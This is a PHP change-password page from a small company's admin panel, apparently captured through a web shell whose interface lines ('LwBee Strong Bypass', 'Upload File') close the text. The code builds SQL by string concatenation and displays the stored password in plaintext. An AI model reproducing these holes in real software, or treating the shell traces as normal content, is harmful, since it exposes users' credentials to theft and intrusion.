/home3/vehiclea/public_html/admin-yashuenterprises-in/change_password.php
<?php
session_start();
include'header.php';
include 'sidelinks.php';
include('include/functions.php');
include 'db.php';
if(!empty($_POST['submit']))
{
change_password();
}
?>
<div class="pcoded-content">
<div class="pcoded-inner-content">
<div class="main-body">
<div class="page-wrapper">
<div class="page-body">
<?php
if(!empty($_GET['succ']))
{
?>
<!-- <div align="center" style="color:green;"> <h4>Password Updated Successfully</h4></div> -->
<script>alert("Password Updated Successfully");</script>
<?php
}
$password = executework("SELECT * FROM login where username = '".$_SESSION['user']."'");
$rowpwd = mysqli_fetch_array($password);
?>
<div class="row">
<div class="col-sm-12">
<div class="card">
<div class="card-block">
<h4 class="sub-title">Change Password</h4>
<form method="post" enctype="multipart/form-data" onsubmit="return password_validation()">
<div class="form-group row">
<label class="col-sm-2 col-form-label">Username</label>
<div class="col-sm-10">
<input type="text" class="form-control" name="username" value="<?= $rowpwd['username'] ?>" id="username" readonly>
</div>
</div>
<div class="form-group row">
<label class="col-sm-2 col-form-label">Password</label>
<div class="col-sm-10">
<input type="text" class="form-control" name="password" value="<?= $rowpwd['password']?>" id="password" readonly>
</div>
</div>
<div class="form-group row">
<label class="col-sm-2 col-form-label">New Password</label>
<div class="col-sm-10">
<input type="text" class="form-control" name="newpassword" id="newpassword" placeholder="Enter New Password">
<div class="error" id="err1" align="center" style="color:red;"></div>
</div>
</div>
<div class="form-group row">
<div class="col-sm-3"> </div>
<div class="col-sm-6">
<p style="text-align: center;">
<input type="submit" name="submit" value="Update" class="btn waves-effect waves-light btn-grd-success">
</p>
</div>
<div class="col-sm-3"> </div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<?php include 'footer.php'; ?>
<!-- <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script> -->
<script>
function password_validation(){
if ($('#newpassword').val() == '') {
valid_error("newpassword", "Enter New Password", "err1");
return false;
}
else
{
return true;
}
}
function valid_error(id, error, err) {
$('.errr').html('');
$('#' + err).show();
$('#' + err).html(error);
$('#' + id).focus();
return false;
}
</script>
@LwBee Strong Bypass
Upload File
Create New File